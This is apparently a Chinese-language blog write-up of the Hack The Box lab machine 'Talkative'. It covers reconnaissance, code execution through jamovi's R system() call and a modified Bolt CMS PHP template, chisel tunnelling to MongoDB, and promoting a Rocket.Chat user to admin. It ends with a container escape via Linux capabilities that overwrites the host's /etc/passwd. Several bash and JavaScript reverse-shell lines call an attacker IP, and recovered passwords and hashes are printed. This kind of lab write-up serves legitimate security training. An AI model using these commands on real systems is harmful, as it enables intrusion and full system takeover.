【Hack The Box】linux练习-- Talkative
🔥系列专栏:Hack The Box
 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
 📆首发时间:🌴2022年11月27日🌴
 🍭作者水平很有限,如果发现错误,还望告知,感谢!

22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Talkative.htb | Talkative
3000/tcp open     ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: 7BEhgKZrHjYcyBD4y
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Mon, 22 Aug 2022 16:46:57 GMT
|     Connection: close
|     
|     
|     
|      

 
Janit Smith janit@talkative.htb
 Matt Williams matt@talkative.htb
 Saul Goodman saul@talkative.htb
“产品”部分显示了三种产品。 此处值得注意的是对其他技术的引用。 “Talk-A-Stats”提到 了 Jamovi 。 “Talkforbiz”产品提到了 Rocket Chat 。
 
在页面底部,有一个反馈表,其中包含另一个电子邮件地址, support@talkative.htb. 提交该表单会返回错误:

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2022 15:54:16 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: max-age=0, must-revalidate, private
permissions-policy: interest-cohort=()
X-Powered-By: Bolt
Link: ; rel="http://www.w3.org/ns/hydra/core#apiDocumentation"
Expires: Mon, 22 Aug 2022 15:54:17 GMT
Vary: Accept-Encoding
Content-Length: 36943
Connection: close
Content-Type: text/html; charset=UTF-8
  
采用了bolt
 目录爆破没有结果

 以前遇到过,弱口令没有,注册会有信息
 注册邮箱类似于saul@talkative.htb
 
 
给他发消息他也不回我
 
但是还是获得了一个可能是用户的东西,除此之外什么都没有
爆破页面之后得到了一个/admin
 可是没有什么信息
 
这两个应该都是基于8080的服务端口

 这是 jamovi 的一个实例:
 
并且告诉我们这个版本存在问题1
 
尽管它有一个允许通过上传恶意文件进行 XSS 攻击的 CVE。 在这里,我将滥用 jamovi 的内置功能

 R有一个内置的 system 命令 来运行操作系统命令。
# summary(data[1:3])
system ("id",intern = TRUE)
 

 难道反弹一个shell直接就是root?
# summary(data[1:3])
system ("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/8888 0>&1'" , intern = TRUE
 

script /dev/null -c bash
 
但是没有root.txt
 那这是个什么root
 也许是在一个容器
root@b06821bbda78:~# hostname
b06821bbda78                    
root@b06821bbda78:~# ip addr  
bash: ip: command not found
root@b06821bbda78:~# ifconfig
bash: ifconfig: command not found
root@b06821bbda78:~# cat /proc/net/fib_trie
Main:
...[snip]...+-- 172.18.0.0/16 2 0 2+-- 172.18.0.0/30 2 0 2|-- 172.18.0.0/32 link BROADCAST/16 link UNICAST|-- 172.18.0.2
...[snip]...
 
命令都没有。。。
 这确实是一个容器,ip是内网ip
172.18.0.2

 发现了omv文件,传到本地
 
 unzip bolt-administration.omv
cat xdata.json | jq -c '.[]'
 
有一个js文件,我们用上面的方式打开它
 
matt/janit/saul
jeO09ufhWD9KHEA
 
要尝试这凭证,我需要弄清楚我可以在哪里使用它们。 鉴于名称 .ovm文件,似乎是 Bolt CMS。 但在朝那个方向走得太远之前,最好确保它们在其他任何地方都不起作用。
我的第一个想法是通过 SSH 连接到主机,可能是 172.18.0.1。 SSH 是从外部过滤的,但也许从容器中它会起作用。 很遗憾, ssh未安装在容器上。 我可以从上传 凿子 和隧道 ssh我的 VM 上的客户端,但我将首先查看 Web 界面。
jamovi 似乎没有管理界面或任何类型的登录。
当以管理员身份登录时, Rocket Chat 将 在用户菜单中有一个指向“管理”的链接。
而后我试图使用这几个密码ssh对应的账户,但是我失败了
 所以我开始尝试密码重用
去bolt
http://talkative.htb/bolt/login
 

 所有的已知账户都不行
 但是admin可以
 这个密码可以
jeO09ufhWD 

 
 我用的admin但是登陆的事saul,而且我用的是matt的密码
 真奇怪
 置页面显示 config/config.yaml文件


 配置文件什么也没有漏出来
 
 接着还有php文件,如果我能修改他,也许可以执行?
 我将尝试一下
 
是的我可以修改
system("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/7777 0>&1")
 

 但是出问题了
 应该是我没有加结尾
 我重置了靶机之后把多余的全部删除

 最终结果如下
& /dev/tcp/10.10.14.29/7777 0>&1'")
?>
 
而后刷新页面即可
 
script /dev/null -c bash
cat /proc/net/fib_trie
 
+-- 0.0.0.0/0 3 0 5|-- 0.0.0.0/0 universe UNICAST+-- 127.0.0.0/8 2 0 2+-- 127.0.0.0/31 1 0 0|-- 127.0.0.0/32 link BROADCAST/8 host LOCAL|-- 127.0.0.1/32 host LOCAL|-- 127.255.255.255/32 link BROADCAST+-- 172.17.0.0/16 2 0 2+-- 172.17.0.0/27 2 0 2|-- 172.17.0.0/32 link BROADCAST/16 link UNICAST|-- 172.17.0.17/32 host LOCAL|-- 172.17.255.255/32 link BROADCAST
Local:+-- 0.0.0.0/0 3 0 5|-- 0.0.0.0/0 universe UNICAST+-- 127.0.0.0/8 2 0 2+-- 127.0.0.0/31 1 0 0|-- 127.0.0.0/32 link BROADCAST/8 host LOCAL|-- 127.0.0.1/32 host LOCAL|-- 127.255.255.255/32 link BROADCAST+-- 172.17.0.0/16 2 0 2+-- 172.17.0.0/27 2 0 2|-- 172.17.0.0/32 link BROADCAST/16 link UNICAST|-- 172.17.0.17/32 host LOCAL|-- 172.17.255.255/32 link BROADCAST
 
主机名为 ba67799048d7,IP 为 172.17.0.10
这个容器确实有 ssh客户端已安装,所以我会在主机上试一试,大概是 172.17.0.1。 考虑到密码与我已经注意到的用户名不匹配,我将尝试名称和密码的所有组合,以及适用于 Bolt 的同一组组合
 我们就像另一个容器中的 www-data,因为我们的 ip 是 172.17.0.10 我想 172.17.0.1 存在。
jeO09ufhWD 
全靠手试,从1开始试
 不过好在1就成功了,不然我真的我连端口都转发不出来

ps auxww | grep docker
 
所有的文件都在docker中运行
root         916  0.0  1.1 1455780 23636 ?       Ssl  15:21   0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1275  0.0  0.0 1149100  660 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root        1281  0.0  0.0 1150508  788 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root        1298  0.0  0.0 1222576  908 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root        1303  0.0  0.0 1223984 1100 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root        1320  0.0  0.0 1222832 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root        1326  0.0  0.0 1076520 1120 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root        1452  0.0  0.0 1150252  640 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.3 -container-port 3000
root        1576  0.0  0.0 1222576 1248 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6000 -container-ip 172.17.0.4 -container-port 80
root        1733  0.0  0.0 1148844 1288 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6001 -container-ip 172.17.0.5 -container-port 80
root        1852  0.0  0.0 1148844 1184 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6002 -container-ip 172.17.0.6 -container-port 80
root        1967  0.0  0.0 1149100  608 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6003 -container-ip 172.17.0.7 -container-port 80
root        2077  0.0  0.0 1223984  468 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6004 -container-ip 172.17.0.8 -container-port 80
root        2196  0.0  0.0 1223984  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6005 -container-ip 172.17.0.9 -container-port 80
root        2303  0.0  0.0 1075112 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6006 -container-ip 172.17.0.10 -container-port 80
root        2417  0.0  0.0 1149100  812 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6007 -container-ip 172.17.0.11 -container-port 80
root        2535  0.0  0.0 1222576  396 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6008 -container-ip 172.17.0.12 -container-port 80
root        2661  0.0  0.0 1222576  692 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6009 -container-ip 172.17.0.13 -container-port 80
root        2774  0.0  0.0 1075112  672 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6010 -container-ip 172.17.0.14 -container-port 80
root        2889  0.0  0.0 1149100 1424 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6011 -container-ip 172.17.0.15 -container-port 80
root        3004  0.0  0.0 1148844  600 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6012 -container-ip 172.17.0.16 -container-port 80
root        3115  0.0  0.0 1075112  592 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6013 -container-ip 172.17.0.17 -container-port 80
root        3223  0.0  0.0 1222576  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6014 -container-ip 172.17.0.18 -container-port 80
root        3338  0.0  0.0 1150252  388 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6015 -container-ip 172.17.0.19 -container-port 80
saul        8245  0.0  0.0   6432   656 pts/0    S+   19:59   0:00 grep --color=auto docker
 
发现只有一个2没有任何的动作
 我将ping一下看看他是个什么情况
 我将放一个静态nmap,来进行一些扫描
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
 

 但是默认扫描没有开放的端口
 我们多扫一点
./nmap 172.17.0.2 --min-rate 10000 -p-
 

 27017 通常用于 MongoDB。
chisel_1.7.7_linux_amd64 server -p 8000 --reverse
./chisel_1.7.7_linux_amd64 client 10.10.14.29:8000 R:27017:172.17.0.2:27017 
 

 该赋权赋权
转发出来以后我们要用本地的mongodb打开
 没有的话如下安装
apt install mongodb-clients
mongo
 

show databases
use meteor
db.getCollectionNames()
 
有 59 个集合(如表格),其中大部分以 rocketchat_:
db.users.find()
{ "_id" : "rocket.cat", "createdAt" : ISODate("2021-08-10T19:44:00.224Z"), "avatarOrigin" : "local", "name" : "Rocket.Cat", "username" : "rocket.cat", "status" : "online", "statusDefault" : "online", "utcOffset" : 0, "active" : true, "type" : "bot", "_updatedAt" : ISODate("2021-08-10T19:44:00.615Z"), "roles" : [ "bot" ] }
{ "_id" : "ZLMid6a4h5YEosPQi", "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), "services" : { "password" : { "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y" }, "email" : { "verificationTokens" : [ { "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", "address" : "saul@talkative.htb", "when" : ISODate("2021-08-10T19:49:48.738Z") } ] }, "resume" : { "loginTokens" : [ ] } }, "emails" : [ { "address" : "saul@talkative.htb", "verified" : false } ], "type" : "user", "status" : "offline", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:19:35.252Z"), "roles" : [ "admin" ], "name" : "Saul Goodman", "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), "statusConnection" : "offline", "username" : "admin", "utcOffset" : 0 }
{ "_id" : "CNT3t4RJkHZFegE3m", "createdAt" : ISODate("2022-11-26T14:45:23.956Z"), "services" : { "password" : { "bcrypt" : "$2b$10$EGrDB..OFWrAaGJ8sg9zgOLkKgmmuO8CapeSeBBz3fLQ6bY9HCde.", "reset" : { "token" : "Tpx9jOL7EBAHtnicU-SwKF9EYZ6eYGqYXHWnd3J8XQe", "email" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:30.122Z"), "reason" : "enroll" } }, "email" : { "verificationTokens" : [ { "token" : "lxKfeVzSeDooUp4xoO2jQCYlS4gqdMdThw9KXZH6d0D", "address" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:23.998Z") } ] }, "resume" : { "loginTokens" : [ { "when" : ISODate("2022-11-26T14:45:24.419Z"), "hashedToken" : "sWUoHQfWt1HlKpc2xi/wGINv1tLZLX1prB5/E0/6I1U=" } ] } }, "emails" : [ { "address" : "rongsec@talkative.htb", "verified" : false } ], "type" : "user", "status" : "online", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:48:45.044Z"), "roles" : [ "user" ], "name" : "rongsec", "lastLogin" : ISODate("2022-11-26T14:48:45Z"), "statusConnection" : "online", "utcOffset" : -5, "username" : "rongsec" } 

我们目前掌握的用户是admin,而这个服务又是基于rock chet的
 所以我想到我之前有一个/admin目录,可以查看一些信息
 所以我将利用我的admin权限,赋予我在rock chet创建的用户admin权限,看看会有什么不同
db.users.update({"_id": "CNT3t4RJkHZFegE3m"}, { $set: { "roles" : ["admin"]}})
 
多了许多东西
 
我将选择集成模块,而这仅仅是因为他有一个代码块的标志
https://docs.rocket.chat/guides/administration/admin-panel/integrations
 
官方文档说明了集成模块采用js代码
所以我将输入一个出站js反弹shell代码
https://www.revshells.com/
 
用这个网站生成
 然后再头部加一行
const require = console.log.constructor('return process.mainModule.require')();
 
用于指向进程,js反弹shell很多都要这么处理,通用的基本上
 



 
 
还是个docker用户
script /dev/null -c bash
 
这是一个docker,所以我会用下面的脚本来枚举docker漏洞
https://github.com/stealthcopter/deepce
 
因为这个靶机没有wget,所以我们直接base64脚本而后在靶机
echo "" > 1.txt
cat 1.txt | base64 -d > deepce.sh
chmod +x deepce.sh
bash deepce.sh
 

 没问题,除了下面这个,有capsh依赖项没被安装
 
 那么我们就要查找一下系统版本然后给靶机安装依赖项,因为他是root,所以才能安装
cat /etc/os-release 
 
查看系统版本信息
 Debian 10 (buster):
下载相关依赖包
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.25-2_amd64.deb
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2_2.25-2_amd64.deb
 

 
 同样的方法来传输
而后安装依赖
dpkg -i libcap2_2.25-2_amd64.deb 
dpkg -i libcap2-bin_2.25-2_amd64.deb 
 

 cap_dac_read_search
常用的方法有非法读取主机,以及非法写入主机
 我将主要利用第二种,因为第一种有现成的工具,这个将在最后说
 hachtrick中有提到
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override
 
我将按照脚本中的提示编译文件
 然后老方法上传到靶机
 而后赋权
 (文件是priv)
 而后执行写入
./priv /etc/hostname a
 

 现在去到真实的主机上查看,确实已经被覆盖了
现在就开始写入密码
openssl passwd -1 rongecho 'rong:$1$Dr9BtZXw$VZ7J.H58FZFtxZi3QdqWF.:0:0:pwned:/root:/bin/bash' >> passwd  ./priv /etc/passwd passwd
 
账号密码都是rong
在这个地方动作要快,然后多试几次,我差不多试了10次才成功
